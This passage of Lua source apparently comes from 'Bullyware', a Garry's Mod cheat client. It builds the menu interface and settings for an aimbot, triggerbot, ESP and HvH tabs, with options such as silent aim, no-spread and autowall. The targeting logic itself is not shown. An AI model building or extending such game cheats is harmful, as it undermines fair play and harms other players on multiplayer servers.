self.DropDownPanel.OnFocusChanged = function(pnl,gained) 443 | if gained then return end 444 | timer.Simple(0,function() 445 | local panel = vgui.GetKeyboardFocus() 446 | if not IsValid( panel ) then return end 447 | if panel.isTooltip or panel == pnl or panel.isPreview then return end 448 | pnl:Remove() 449 | end) 450 | end 451 | self.DropDownPanel.Choices = {} 452 | for k , v in ipairs( self.m_Choices ) do 453 | self.DropDownPanel.Choices[#self.DropDownPanel.Choices + 1] = self.DropDownPanel:Add("DButton") 454 | local choice = self.DropDownPanel.Choices[#self.DropDownPanel.Choices] 455 | choice:Dock(TOP) 456 | choice.id = v.id 457 | choice:SetTall(20) 458 | choice.DoClick = function(pnl) 459 | 460 | v.onclick( choice , v.id, v.name ) 461 | self:SetValue( pnl.id ) 462 | self.DropDownPanel:Remove() 463 | end 464 | choice:SetText("") 465 | choice.Paint = function(pnl,w,h) 466 | surface.SetDrawColor( tonumber(self.value.id) == tonumber(pnl.id) and methamphetamine.colors.active or pnl:IsHovered() and methamphetamine.colors.hovered or color_transparent ) 467 | surface.DrawRect(0,0,w,h) 468 | 469 | draw.SimpleText( v.name, methamphetamine.default.font, 6,h/2, methamphetamine.colors.text,0,1 ) 470 | end 471 | end 472 | self.DropDownPanel:SetTall( #self.m_Choices * 20 ) 473 | end 474 | 475 | function PANEL:HideDiamond( bool ) 476 | self.m_HideDiamond = bool 477 | end 478 | 479 | vgui.Register("methamphetamine.dropdown", PANEL , "DButton" ) 480 | 481 | local PANEL = {} 482 | function PANEL:Init() 483 | 484 | end 485 | 486 | vgui.Register("methamphetamine.list", PANEL , "EditablePanel" ) 487 | 488 | local PANEL = {} 489 | 490 | function PANEL:Init() 491 | self:SetFont( methamphetamine.default.font ) 492 | self:SetTextColor( methamphetamine.colors.text ) 493 | -- self:SetMouseInputEnabled( true ) 494 | -- self:SetKeyboardInputEnabled( true ) 495 | end 496 | 497 | -- function PANEL:OnMousePressed() 498 | -- self:MoveToFront() 499 | -- self:RequestFocus() 500 | -- end 501 | 502 | function PANEL:Paint(w,h) 503 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 504 | surface.DrawRect(0,0,w,h) 505 | self:DrawTextEntryText( methamphetamine.colors.text ,methamphetamine.colors.border,methamphetamine.colors.border ) 506 | end 507 | 508 | 509 | vgui.Register("methamphetamine.search", PANEL , "DTextEntry") 510 | 511 | 512 | local PANEL = {} 513 | 514 | AccessorFunc( PANEL, "m_iSelectedNumber", "SelectedNumber" ) 515 | 516 | Derma_Install_Convar_Functions( PANEL ) 517 | 518 | function PANEL:Init() 519 | 520 | self:SetSelectedNumber( 0 ) 521 | self:SetSize( 60, 30 ) 522 | 523 | self:SetTextColor( methamphetamine.colors.text ) 524 | self:SetFont( methamphetamine.default.font ) 525 | 526 | end 527 | 528 | function PANEL:UpdateText() 529 | 530 | local str = input.GetKeyName( self:GetSelectedNumber() or -1 ) 531 | if ( !str ) then str = "None" end 532 | 533 | str = language.GetPhrase( str ) 534 | 535 | self:SetText( string.upper(str) ) 536 | 537 | end 538 | 539 | function PANEL:DoClick() 540 | 541 | self:SetText( "Press a key" ) 542 | input.StartKeyTrapping() 543 | self.Trapping = true 544 | 545 | end 546 | 547 | function PANEL:DoRightClick() 548 | 549 | self:SetText( "Always" ) 550 | self:SetValue( 0 ) 551 | 552 | end 553 | 554 | function PANEL:SetSelectedNumber( iNum ) 555 | 556 | self.m_iSelectedNumber = iNum 557 | self:ConVarChanged( iNum ) 558 | self:UpdateText() 559 | self:OnChange( iNum ) 560 | 561 | end 562 | 563 | function PANEL:Think() 564 | 565 | if ( input.IsKeyTrapping() && self.Trapping ) then 566 | 567 | local code = input.CheckKeyTrapping() 568 | if ( code ) then 569 | 570 | if ( code == KEY_ESCAPE ) then 571 | 572 | self:SetValue( 0 ) 573 | self:SetText("Always") 574 | 575 | else 576 | 577 | self:SetValue( code ) 578 | 579 | end 580 | 581 | self.Trapping = false 582 | 583 | end 584 | 585 | end 586 | 587 | self:ConVarNumberThink() 588 | 589 | end 590 | 591 | function PANEL:SetValue( iNumValue ) 592 | 593 | self:SetSelectedNumber( iNumValue ) 594 | 595 | end 596 | 597 | function PANEL:GetValue() 598 | 599 | return self:GetSelectedNumber() 600 | 601 | end 602 | 603 | function PANEL:OnChange() 604 | end 605 | 606 | function PANEL:Paint(w,h) 607 | surface.SetDrawColor( (self:IsHovered() and methamphetamine.colors.activetoggle) or methamphetamine.colors.buttonidle ) 608 | surface.DrawRect(0,0,w,h) 609 | 610 | end 611 | 612 | vgui.Register("methamphetamine.binder", PANEL , "DButton" ) 613 | 614 | local PANEL = {} 615 | 616 | function PANEL:Init() 617 | 618 | end 619 | 620 | function PANEL:Paint(w,h) 621 | surface.SetDrawColor( methamphetamine.colors.background ) 622 | surface.DrawRect(0,0,w,h) 623 | surface.SetDrawColor( methamphetamine.colors.border ) 624 | surface.DrawOutlinedRect( 0,0,w,h ) 625 | end 626 | 627 | 628 | vgui.Register("methamphetamine.panel", PANEL) 629 | 630 | 631 | local PANEL = {} 632 | 633 | function PANEL:Init() 634 | self.state = false 635 | self:SetText("") 636 | self.mat = Material("meth/tick.png") 637 | self:NoClipping( true ) 638 | end 639 | 640 | function PANEL:SetState( newstate ) 641 | self.state = newstate or self.state 642 | end 643 | 644 | function PANEL:SetLabel( text ) 645 | self.text = text 646 | end 647 | 648 | 649 | function PANEL:OnToggle() 650 | end 651 | 652 | function PANEL:DoClick() 653 | self.state = not self.state 654 | self:OnToggle( self.state ) 655 | end 656 | 657 | function PANEL:Paint(w,h) 658 | surface.SetDrawColor( self:IsHovered() and methamphetamine.colors.activetoggle or methamphetamine.colors.buttonidle ) 659 | surface.DrawRect(0,0,w,h) 660 | if self.state then 661 | surface.SetMaterial( self.mat ) 662 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 663 | surface.DrawTexturedRect(3,3,w-6,h-6) 664 | end 665 | draw.SimpleText( self.text or "Enabled" , methamphetamine.default.font , w + 5, h/2 , methamphetamine.colors.text , 0 , 1 ) 666 | end 667 | 668 | vgui.Register("methamphetamine.checkbox", PANEL, "DButton" ) 669 | 670 | 671 | 672 | local PANEL = {} 673 | 674 | function PANEL:Init() 675 | self.mods = self:Add("DPanel") 676 | self.mods:Dock(TOP) 677 | self.mods:SetTall(20) 678 | self.mods:DockMargin(0,0,0,0) 679 | self.mods.Paint = function(pnl,w,h) 680 | surface.SetDrawColor( methamphetamine.colors.border ) 681 | surface.DrawRect(0,h-2,w,2) 682 | end 683 | self.mods:DockPadding(2 ,0,0,0) 684 | 685 | 686 | self.pages = {} 687 | end 688 | PANEL.Paint = nil 689 | 690 | function PANEL:SetActive( i ) 691 | local btn = self.pages[i] 692 | if IsValid( self.pages.active ) then 693 | self.pages.active:SetVisible( false ) 694 | end 695 | btn.panel:SetVisible( true ) 696 | self.pages.active = btn.panel 697 | end 698 | function PANEL:AddCheat( name , panel ) 699 | local i = #self.pages + 1 700 | self.pages[i] = self.mods:Add("DButton") 701 | local btn = self.pages[i] 702 | btn:Dock(LEFT) 703 | btn:DockMargin(1,3,1,2) 704 | btn:SetText( "" ) 705 | surface.SetFont( methamphetamine.default.font ) 706 | local wide,tall = surface.GetTextSize( name ) 707 | btn:SetWide( wide + 8 ) 708 | btn.Paint = function(pnl,w,h) 709 | surface.SetDrawColor( (pnl:IsHovered() or pnl.panel == self.pages.active) and methamphetamine.colors.activebutton or methamphetamine.colors.border ) 710 | surface.DrawRect(0,0,w,h) 711 | draw.SimpleText( name , methamphetamine.default.font , w/2,h/2, methamphetamine.colors.disabledtext , 1,1 ) 712 | end 713 | btn.DoClick = function(pnl) 714 | if self.pages.active == pnl.panel then return end 715 | btn.panel:SetVisible( true ) 716 | if IsValid(self.pages.active) then 717 | self.pages.active:SetVisible(false) 718 | end 719 | self.pages.active = btn.panel 720 | end 721 | 722 | btn.panel = self:Add( panel or "DButton" ) 723 | btn.panel:Dock(FILL) 724 | btn.panel:DockMargin(5,5,5,5 ) 725 | btn.panel:SetVisible( false ) 726 | return self.pages[i] 727 | end 728 | 729 | vgui.Register("methamphetamine.submods", PANEL) 730 | 731 | 732 | 733 | local PANEL = {} 734 | 735 | AccessorFunc( PANEL, "mResizeable", "Resizeable", FORCE_BOOL ) 736 | AccessorFunc( PANEL, "mShowCloseButton", "ShowCloseButton", FORCE_BOOL ) 737 | 738 | function PANEL:Init() 739 | 740 | self.bar = self:Add("DButton") 741 | self.bar:Dock(TOP) 742 | self.bar:SetTall(20) 743 | self.bar.Paint = function(pnl,w,h) 744 | surface.SetDrawColor( methamphetamine.colors.border ) 745 | surface.DrawRect( 0,0,w,h ) 746 | draw.SimpleText( self.title or methamphetamine.default.title,methamphetamine.default.font,w/2,h/2, methamphetamine.colors.disabledtext,1,1 ) 747 | end 748 | self.bar:SetText("") 749 | 750 | 751 | local oldpress = self.OnMousePressed 752 | self.OnMousePressed = function(pnl,code) 753 | self.Dragging = { gui.MouseX() - self.x, gui.MouseY() - self.y } 754 | self:MouseCapture( true ) 755 | end 756 | 757 | self.OnMouseReleased = function(pnl,k) 758 | 759 | pnl.Dragging = nil 760 | pnl.Sizing = nil 761 | pnl:MouseCapture( false ) 762 | 763 | end 764 | 765 | 766 | 767 | self.Think = function(pnl) 768 | local mousex = math.Clamp( gui.MouseX(), 1, ScrW() - 1 ) 769 | local mousey = math.Clamp( gui.MouseY(), 1, ScrH() - 1 ) 770 | 771 | if ( pnl.Dragging ) then 772 | 773 | local x = mousex - pnl.Dragging[1] 774 | local y = mousey - pnl.Dragging[2] 775 | 776 | -- Lock to screen bounds if screenlock is enabled 777 | --if ( self:GetScreenLock() ) then 778 | 779 | x = math.Clamp( x, 0, ScrW() - self:GetWide() ) 780 | y = math.Clamp( y, 0, ScrH() - self:GetTall() ) 781 | 782 | --end 783 | 784 | self:SetPos( x, y ) 785 | 786 | end 787 | end 788 | self.bar:SetCursor("arrow") 789 | self.bar.OnMousePressed = self.OnMousePressed 790 | self.bar.OnMouseReleased = self.OnMouseReleased 791 | self.bar.Think = self.Think 792 | self:SetCursor("arrow") 793 | 794 | self.diamond = self:Add("DButton") 795 | self.diamond:SetSize(20,20) 796 | self.diamond.mat = Material("meth/drag.png") 797 | self.diamond:SetText("") 798 | self.diamond.Paint = function(pnl,w,h) 799 | surface.SetDrawColor( methamphetamine.colors.border ) 800 | surface.SetMaterial( pnl.mat ) 801 | surface.DrawTexturedRect(0,0,w,h) 802 | end 803 | self.diamond:SetCursor("arrow") 804 | 805 | local oldpress_ = self.diamond.OnMousePressed 806 | self.diamond.OnMousePressed = function(pnl,code) 807 | 808 | pnl.Sizing = { gui.MouseX() - pnl.x - 20, gui.MouseY() - pnl.y - 20 } 809 | pnl:MouseCapture( true ) 810 | 811 | 812 | oldpress_(pnl,code) 813 | end 814 | 815 | self.diamond.OnMouseReleased = function(pnl,k) 816 | 817 | pnl.Dragging = nil 818 | pnl.Sizing = nil 819 | pnl:MouseCapture( false ) 820 | 821 | end 822 | self.diamond.m_iMinHeight = 80 823 | self.diamond.m_iMinWidth = 80 824 | 825 | self.diamond.Think = function(pnl) 826 | 827 | local mousex = math.Clamp( gui.MouseX(), 1, ScrW() - 1 ) 828 | local mousey = math.Clamp( gui.MouseY(), 1, ScrH() - 1 ) 829 | 830 | if pnl.Sizing then 831 | 832 | local x = mousex - pnl.Sizing[1] 833 | local y = mousey - pnl.Sizing[2] 834 | local px, py = pnl:GetPos() 835 | 836 | if ( x < pnl.m_iMinWidth ) then x = pnl.m_iMinWidth elseif ( x > ScrW() - 10 && true ) then x = ScrW() - px end 837 | if ( y < pnl.m_iMinHeight ) then y = pnl.m_iMinHeight elseif ( y > ScrH() - 10 && true ) then y = ScrH() - py end 838 | 839 | self:SetSize( x, y ) 840 | 841 | end 842 | 843 | end 844 | 845 | 846 | end 847 | 848 | 849 | function PANEL:Paint(w,h) 850 | 851 | surface.SetDrawColor( methamphetamine.colors.background ) 852 | surface.DrawRect(0,0,w,h) 853 | surface.SetDrawColor( methamphetamine.colors.border ) 854 | surface.DrawOutlinedRect(0,0,w,h) 855 | end 856 | 857 | function PANEL:SetTitle( text ) 858 | self.title = text 859 | end 860 | 861 | function PANEL:PerformLayout(w,h) 862 | if not self:GetResizeable() then 863 | self.diamond:Remove() 864 | end 865 | if IsValid( self.diamond ) then 866 | self.diamond:SetPos( w - 20,h - 20 ) 867 | end 868 | end 869 | 870 | vgui.Register("methamphetamine.frame", PANEL, "EditablePanel") 871 | 872 | local PANEL = {} 873 | 874 | function PANEL:Init() 875 | self.lastopen = 0 876 | self:MakePopup() 877 | 878 | self.menubar = self:Add("DPanel") 879 | self.menubar:Dock(TOP) 880 | self.menubar:SetTall(20) 881 | self.menubar.Paint = function(pnl,w,h) 882 | surface.SetDrawColor( methamphetamine.colors.menubar ) 883 | surface.DrawRect(0,0,w,h) 884 | surface.SetDrawColor( methamphetamine.colors.border ) 885 | surface.DrawOutlinedRect(0,0,w,h) 886 | end 887 | 888 | self.menubar.version = self.menubar:Add("Panel") 889 | self.menubar.version:Dock(LEFT) 890 | 891 | self.menubar.version:SetWide( 225 ) 892 | self.menubar.version.Paint = function(pnl,w,h) 893 | surface.SetDrawColor( methamphetamine.colors.border ) 894 | surface.DrawOutlinedRect(0,0,w,h) 895 | end 896 | self.menubar.version = self.menubar.version:Add("DLabel") 897 | self.menubar.version:SetFont( methamphetamine.default.font ) 898 | self.menubar.version:SetText("Bullyware[WIP] ") 899 | self.menubar.version:SetTextColor( methamphetamine.colors.text ) 900 | self.menubar.version:Dock(LEFT) 901 | self.menubar.version:DockMargin(5,0,0,0) 902 | self.menubar.version:SizeToContents() 903 | 904 | self.menubar.windows = self.menubar:Add("DButton") 905 | self.menubar.windows:Dock(LEFT) 906 | self.menubar.windows:SetFont( methamphetamine.default.font ) 907 | self.menubar.windows:SetText("Windows") 908 | self.menubar.windows:SetTextColor( methamphetamine.colors.text ) 909 | self.menubar.windows:SizeToContentsX(10) 910 | local opaque = Color(255,255,255,0) 911 | self.menubar.windows.Paint = function(pnl,w,h) 912 | surface.SetDrawColor( (pnl:IsHovered() or pnl.dropdown:IsVisible()) and methamphetamine.colors.activebutton or opaque ) 913 | surface.DrawRect(0,0,w,h) 914 | end 915 | 916 | self.menubar.windows.dropdown = self:Add("methamphetamine.panel") 917 | local dropdown = self.menubar.windows.dropdown 918 | dropdown:SetWide( 130 ) 919 | self.menubar.windows.DoClick = function( pnl ) 920 | pnl.dropdown:SetVisible( not pnl.dropdown:IsVisible() ) 921 | end 922 | 923 | local dropdown = include("windows.lua") 924 | for k, v in ipairs( dropdown ) do 925 | local dd = self.menubar.windows.dropdown:Add("DButton") 926 | dd:Dock(TOP) 927 | dd:SetTall(15) 928 | dd:DockMargin(4,0,4,0) 929 | dd:SetText("") 930 | dd.Paint = function(pnl,w,h) 931 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.hovered or methamphetamine.colors.background ) 932 | surface.DrawRect(0,0,w,h) 933 | draw.SimpleText( v.name , methamphetamine.default.font , 8,h/2, methamphetamine.colors.disabledtext , 0,1 ) 934 | if v.isToggled then 935 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 936 | surface.SetMaterial( methamphetamine.default.tickmat ) 937 | surface.DrawTexturedRect( w-h,0,h,h ) 938 | end 939 | end 940 | dd.DoClick = function(pnl) 941 | v.isToggled = not v.isToggled 942 | v.func( v , v.isToggled ) 943 | end 944 | end 945 | self.menubar.windows.dropdown:SetTall( #dropdown * 15 + 8 ) 946 | self.menubar.windows.dropdown:SetVisible( false ) 947 | self.menubar.windows.dropdown:DockPadding(0,4,0,0) 948 | end 949 | 950 | function PANEL:PerformLayout(w,h) 951 | local mwx,mwy = self.menubar.windows:GetPos() 952 | local mww,mwh = self.menubar.windows:GetSize() 953 | self.menubar.windows.dropdown:SetPos( mwx , mwy + mwh ) 954 | 955 | 956 | end 957 | 958 | 959 | function PANEL:OnKeyCodePressed(keyCode ) 960 | if keyCode == KEY_0 then 961 | if CurTime() - self.lastopen > 0.4 then 962 | self:SetVisible( false ) 963 | hook.Run("methamphetamine.mastertoggle",false) 964 | self.lastopen = CurTime() 965 | end 966 | end 967 | end 968 | 969 | function PANEL:Paint(w,h) 970 | surface.SetDrawColor( methamphetamine.colors.backgroundopaque ) 971 | surface.DrawRect(0,0,w,h) 972 | local mascot = methamphetamine.mascots[methamphetamine.mascots.active] 973 | local mat = mascot.mat 974 | surface.SetDrawColor( methamphetamine.colors.backgroundmascot ) 975 | surface.SetMaterial( mat ) 976 | surface.DrawTexturedRect( mascot.x,mascot.y,mascot.w,mascot.h ) 977 | end 978 | 979 | vgui.Register("methamphetamine.solutions", PANEL) 980 | 981 | local PANEL = {} 982 | 983 | function PANEL:Init() 984 | self:SetSize(640,460) 985 | self:SetPos( ScrW() / 2 - 640 / 2, ScrH() / 2 - 460 / 2 ) 986 | self:SetResizeable( false ) 987 | self.mainmods = self:Add("DPanel") 988 | self.mainmods:Dock(TOP) 989 | self.mainmods:SetTall(20) 990 | self.mainmods:DockMargin(5,8,5,0) 991 | self.mainmods.Paint = function(pnl,w,h) 992 | surface.SetDrawColor( methamphetamine.colors.border ) 993 | surface.DrawRect(0,h-2,w,2) 994 | end 995 | self.mainmods:DockPadding(2,0,0,0) 996 | self.cheats = {} 997 | end 998 | 999 | function PANEL:AddCheat( name , panel , subPagesTable ) 1000 | methamphetamine.mods[name] = { 1001 | _panel = panel, 1002 | _name = name, 1003 | } 1004 | local CHEAT = methamphetamine.mods[name] 1005 | local subPagesTable = subPagesTable or false 1006 | self.cheats[ #self.cheats + 1 ] = self.mainmods:Add("DButton") 1007 | local i = #self.cheats 1008 | local btn = self.cheats[i] 1009 | btn:Dock(LEFT) 1010 | btn:DockMargin(1,0,1,2) 1011 | btn:SetText( "" ) 1012 | surface.SetFont( methamphetamine.default.font ) 1013 | local wide,tall = surface.GetTextSize( name ) 1014 | btn:SetWide( wide + 8 ) 1015 | btn.Paint = function(pnl,w,h) 1016 | surface.SetDrawColor( (pnl:IsHovered() or pnl.panel == self.cheats.active) and methamphetamine.colors.activebutton or methamphetamine.colors.border ) 1017 | surface.DrawRect(0,0,w,h) 1018 | draw.SimpleText( name , methamphetamine.default.font , w/2,h/2, methamphetamine.colors.disabledtext , 1,1 ) 1019 | end 1020 | 1021 | btn.panel = self:Add( panel or "DButton" ) 1022 | btn.panel:Dock(FILL) 1023 | btn.panel:SetVisible( false ) 1024 | if panel == "methamphetamine.submods" then 1025 | btn.panel:DockMargin(5,0,5,5) 1026 | else 1027 | btn.panel:DockMargin(8,8,8,8) 1028 | end 1029 | btn.DoClick = function(pnl) 1030 | if self.cheats[i].panel == self.cheats.active and self.cheats[i].panel:IsVisible() then return end 1031 | self.cheats[i].panel:SetVisible( true ) 1032 | if self.cheats.active then 1033 | self.cheats.active:SetVisible( false ) 1034 | end 1035 | self.cheats.active = self.cheats[i].panel 1036 | end 1037 | 1038 | if subPagesTable and panel == "methamphetamine.submods" then 1039 | for k , v in ipairs( subPagesTable ) do 1040 | btn.panel:AddCheat( v.name, v.panel ) 1041 | end 1042 | --PrintTable( subPagesTable ) 1043 | if subPagesTable[0] and subPagesTable[0].master == true then 1044 | btn.panel.mods:DockMargin(0,0,0,0) 1045 | btn.panel.mods.master = btn.panel:Add("DPanel") 1046 | local master = btn.panel.mods.master 1047 | master:Dock(TOP) 1048 | master:SetTall(33) 1049 | master:SetZPos(-1) 1050 | master.Paint = nil 1051 | 1052 | master.contents = master:Add("Panel") 1053 | master.contents:Dock(LEFT) 1054 | master.contents:DockMargin(5,8,5,5) 1055 | master.contents:SetWide(300) 1056 | 1057 | master.toggle = master.contents:Add("methamphetamine.checkbox") 1058 | master.toggle:Dock(LEFT) 1059 | master.toggle:SetWide(20) 1060 | master.toggle.OnToggle = function(pnl,state) 1061 | methamphetamine.mods[name].MasterToggle = state 1062 | print("MasterToggle = ", state ) 1063 | end 1064 | master.toggle:DockMargin(0,0,60,0) 1065 | 1066 | master.bindLabel = master.contents:Add("DLabel") 1067 | master.bindLabel:Dock(LEFT) 1068 | master.bindLabel:SetFont( methamphetamine.default.font ) 1069 | master.bindLabel:SetTextColor( methamphetamine.colors.text ) 1070 | master.bindLabel:SetText("| Key to toggle visuals") 1071 | master.bindLabel:SizeToContents() 1072 | 1073 | master.keybind = master.contents:Add("methamphetamine.binder") 1074 | master.keybind:Dock(LEFT) 1075 | master.keybind:SetWide(80) 1076 | master.keybind:DockMargin(4,0,0,0) 1077 | master.keybind:SetValue( methamphetamine.mods[name].masterToggleKeybind ) 1078 | master.keybind.OnChange = function(pnl,val) 1079 | methamphetamine.mods[name].masterToggleKeybind = val 1080 | end 1081 | hook.Add( "PlayerButtonUp", "methamphetamine.visualsToggle", function( ply, key ) 1082 | if key == methamphetamine.mods[name].masterToggleKeybind then 1083 | methamphetamine.mods[name].MasterToggle = not (methamphetamine.mods[name].MasterToggle or false) 1084 | master.keybind:SetValue( methamphetamine.mods[name].masterToggleKeybind ) 1085 | end 1086 | end ) 1087 | end 1088 | if subPagesTable[0] and subPagesTable[0].defaultPage then 1089 | btn.panel:SetActive( subPagesTable[0].defaultPage ) 1090 | end 1091 | 1092 | 1093 | end 1094 | 1095 | end 1096 | 1097 | function PANEL:SetActive( i ) 1098 | self.cheats[i].panel:SetVisible( true ) 1099 | if self.cheats.active then 1100 | self.cheats.active:SetVisible( false ) 1101 | end 1102 | self.cheats.active = self.cheats[i].panel 1103 | end 1104 | 1105 | vgui.Register("methamphetamine.solutions.main", PANEL , "methamphetamine.frame") 1106 | 1107 | local frame = vgui.Create("methamphetamine.solutions") 1108 | frame:Dock(FILL) 1109 | methamphetamine.master = frame 1110 | 1111 | local pp = vgui.Create("methamphetamine.solutions.main", frame) 1112 | methamphetamine.frame = pp 1113 | pp:SetTitle("Bullyware [WIP]") 1114 | pp:AddCheat("Aim", "methamphetamine.submods", { 1115 | [0] = { 1116 | ["defaultPage"] = 1, 1117 | }, 1118 | { 1119 | name = "Aimbot", 1120 | panel = "methamphetamine.aim.aimbot", 1121 | }, 1122 | { 1123 | name = "Triggerbot", 1124 | panel = "Panel", 1125 | }, 1126 | }) 1127 | pp:AddCheat("ESP", "methamphetamine.submods", { 1128 | [0] = { 1129 | ["master"] = true, 1130 | ["defaultPage"] = 1 1131 | 1132 | }, 1133 | { 1134 | name = "Player", 1135 | panel = "methamphetamine.esp.player", 1136 | }, 1137 | { 1138 | name = "Entity", 1139 | panel = "Panel" 1140 | }, 1141 | }) 1142 | pp:AddCheat("Fonts") 1143 | pp:AddCheat("HvH") 1144 | pp:AddCheat("Misc") 1145 | pp:AddCheat("Configs", "methamphetamine.configs") 1146 | pp:AddCheat("Theme Editor") 1147 | pp:SetActive( 1 ) 1148 | 1149 | 1150 | function meth_toggle( mode ) 1151 | frame:SetVisible( mode ) 1152 | end 1153 | 1154 | hook.Add( "PlayerButtonDown", "methamphetamine.toggle", function( ply, key ) 1155 | if key == KEY_0 then 1156 | 1157 | if frame:IsVisible() then return end 1158 | if CurTime() - (frame.lastopen or 1) > 0.4 then 1159 | 1160 | frame:SetVisible( true ) 1161 | hook.Run("methamphetamine.mastertoggle",true) 1162 | frame.lastopen = CurTime() 1163 | end 1164 | 1165 | 1166 | end 1167 | end) 1168 | 1169 | include("cheats.lua") 1170 | include("esp.lua") 1171 | -------------------------------------------------------------------------------- /lua/essentials.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | ____ ______ _ __ 3 | / __ )__ __/ / / /_ _| | / /___ _________ 4 | / __ / / / / / / / / / / | /| / / __ `/ ___/ _ \ 5 | / /_/ / /_/ / / / / /_/ /| |/ |/ / /_/ / / / __/ 6 | /_____/\__,_/_/_/_/\__, / |__/|__/\__,_/_/ \___/ 7 | /____/ 8 | ]]-- 9 | 10 | local PANEL = {} 11 | 12 | color_transparent = color_transparent or Color(255,255,255,0) 13 | 14 | function PANEL:Init() 15 | 16 | methamphetamine.mods["Aim"]["Key"] = 0 17 | methamphetamine.mods["Aim"]["enabled"] = false 18 | methamphetamine.mods["Aim"]["Silent"] = 1 19 | methamphetamine.mods["Aim"]["hook"] = function() end 20 | methamphetamine.mods["Aim"]["Rage"] = false 21 | methamphetamine.mods["Aim"]["Autofire"] = false 22 | methamphetamine.mods["Aim"]["Nospread"] = false 23 | methamphetamine.mods["Aim"]["NoRecoil"] = false 24 | methamphetamine.mods["Aim"]["TargetLock"] = false 25 | methamphetamine.mods["Aim"]["DisableOnKill"] = false 26 | methamphetamine.mods["Aim"]["AutoWall"] = false 27 | methamphetamine.mods["Aim"]["FOV"] = 0 28 | methamphetamine.mods["Aim"]["Priority"] = "Field of View" 29 | methamphetamine.mods["Aim"]["Jittering"] = 0 30 | methamphetamine.mods["Aim"]["Smooth"] = 0 31 | methamphetamine.mods["Aim"]["RecoilControl"] = 0 32 | methamphetamine.mods["Aim"]["Limb"] = "Head" 33 | methamphetamine.mods["Aim"]["Teams"] = {} 34 | methamphetamine.mods["Aim"]["Ignore"] = { 35 | Friends = false, 36 | Noclipping = false, 37 | OppositeTeam = false, 38 | SameTeam = false, 39 | Transparent = false, 40 | Invisible = false, 41 | Party = false, 42 | SelectedTeams = false, 43 | } 44 | 45 | 46 | self.masterpanel = self:Add("Panel") 47 | self.masterpanel:Dock(TOP) 48 | self.masterpanel:SetTall(25) 49 | self.mastertoggle = self.masterpanel:Add("methamphetamine.checkbox") 50 | self.mastertoggle:SetPos(0,0) 51 | self.mastertoggle:SetSize(20,20) 52 | self.mastertoggle:MethToolTip("Enables the aimbot.") 53 | self.mastertoggle.OnToggle = function(pnl,state) 54 | methamphetamine.mods["Aim"].enabled = state 55 | end 56 | self.mastertoggle:Configure("Aim","enabled") 57 | 58 | print( methamphetamine.mods["Aim"] ) 59 | 60 | 61 | 62 | self.options = self:Add("methamphetamine.panel") 63 | self.options:Dock(LEFT) 64 | self.options:SetPos(0,7) 65 | self.options.lblpnl = self.options:Add("Panel") 66 | self.options.lblpnl:Dock(TOP) 67 | self.options.lblpnl:SetTall(23) 68 | self.options.lblpnl.Paint = function(pnl,w,h) 69 | surface.SetDrawColor( methamphetamine.colors.border ) 70 | surface.DrawRect(5,h-1,w-10,1) 71 | end 72 | self.options.label = self.options.lblpnl:Add("DLabel") 73 | self.options.label:Dock(BOTTOM) 74 | self.options.label:SetText( "Options" ) 75 | self.options.label:SetFont( methamphetamine.default.font ) 76 | self.options.label:SetTextColor( methamphetamine.colors.text ) 77 | self.options.label:DockMargin(8,0,0,0) 78 | self.options.label:SizeToContents() 79 | local options = self.options 80 | options.Key = options:Add("Panel") 81 | options.Key:Dock(TOP) 82 | options.Key:SetTall(41) 83 | options.Key:DockMargin(8,5,60,0) 84 | 85 | options.Key.Label = options.Key:Add("DLabel") 86 | options.Key.Label:Dock(TOP) 87 | options.Key.Label:SetText("Key") 88 | options.Key.Label:SetTextColor( methamphetamine.colors.text ) 89 | options.Key.Label:SetFont( methamphetamine.default.font ) 90 | 91 | options.Key.Button = options.Key:Add("methamphetamine.binder") 92 | options.Key.Button:Dock(TOP) 93 | options.Key.Button:SetTall(20) 94 | options.Key.Button:MethToolTip("Enables the aimbot only when this key is pressed.") 95 | options.Key.Button:SetText("Always") 96 | options.Key.Button:SetValue( methamphetamine.mods["Aim"].Key ) 97 | options.Key.Button.OnChange = function(pnl,new) 98 | print("Selected ", new , input.GetKeyName( new ) ) 99 | methamphetamine.mods["Aim"]["Key"] = new 100 | end 101 | options.Key.Button:Configure("Aim","Key") 102 | 103 | 104 | options.Silent = options:Add("Panel") 105 | options.Silent:Dock(TOP) 106 | options.Silent:SetTall(42) 107 | options.Silent:DockMargin(8,0,60,0) 108 | --options.Silent.Paint = function(pnl,w,h) draw.RoundedBox(0,0,0,w,h,color_white) end 109 | 110 | options.Silent.Label = options.Silent:Add("DLabel") 111 | options.Silent.Label:Dock(TOP) 112 | options.Silent.Label:SetText("Silent") 113 | options.Silent.Label:SetTextColor( methamphetamine.colors.text ) 114 | options.Silent.Label:SetFont( methamphetamine.default.font ) 115 | 116 | options.Silent.Dropdown = options.Silent:Add("methamphetamine.dropdown") 117 | options.Silent.Dropdown:Dock(TOP) 118 | options.Silent.Dropdown:SetTall(20) 119 | options.Silent.Dropdown:AddChoice("Disabled", function() methamphetamine.mods["Aim"].Silent = 0 end) 120 | options.Silent.Dropdown:AddChoice("Client", function() methamphetamine.mods["Aim"].Silent = 1 end) 121 | options.Silent.Dropdown:AddChoice("Server", function() methamphetamine.mods["Aim"].Silent = 2 end) 122 | options.Silent.Dropdown:SetValue( methamphetamine.mods["Aim"].Silent or 0 ) 123 | options.Silent.Dropdown:Configure("Aim","Silent") 124 | 125 | 126 | options.autofirepnl = options:Add("Panel") 127 | options.autofirepnl:Dock(TOP) 128 | options.autofirepnl:SetTall(21) 129 | --options.autofirepnl.Paint = function(pnl,w,h) draw.RoundedBox(0,0,0,w,h,color_white) end 130 | options.autofirepnl.autofire = options.autofirepnl:Add("methamphetamine.checkbox") 131 | options.autofirepnl.autofire:SetSize(20,20) 132 | options.autofirepnl.autofire:SetPos(8,0) 133 | options.autofirepnl.autofire:SetLabel("Autofire") 134 | options.autofirepnl.autofire:SetState( methamphetamine.mods["Aim"].Autofire ) 135 | options.autofirepnl.autofire.OnToggle = function(pnl,state) 136 | methamphetamine.mods["Aim"]["Autofire"] = state 137 | end 138 | options.autofirepnl.autofire:Configure("Aim","Autofire") 139 | 140 | options.ignorepnl = options:Add("Panel") 141 | options.ignorepnl:Dock(TOP) 142 | options.ignorepnl:DockMargin(8,1,0,0) 143 | options.ignorepnl:SetTall(20) 144 | options.ignorepnl.ignore = options.ignorepnl:Add("methamphetamine.miscdrop") 145 | 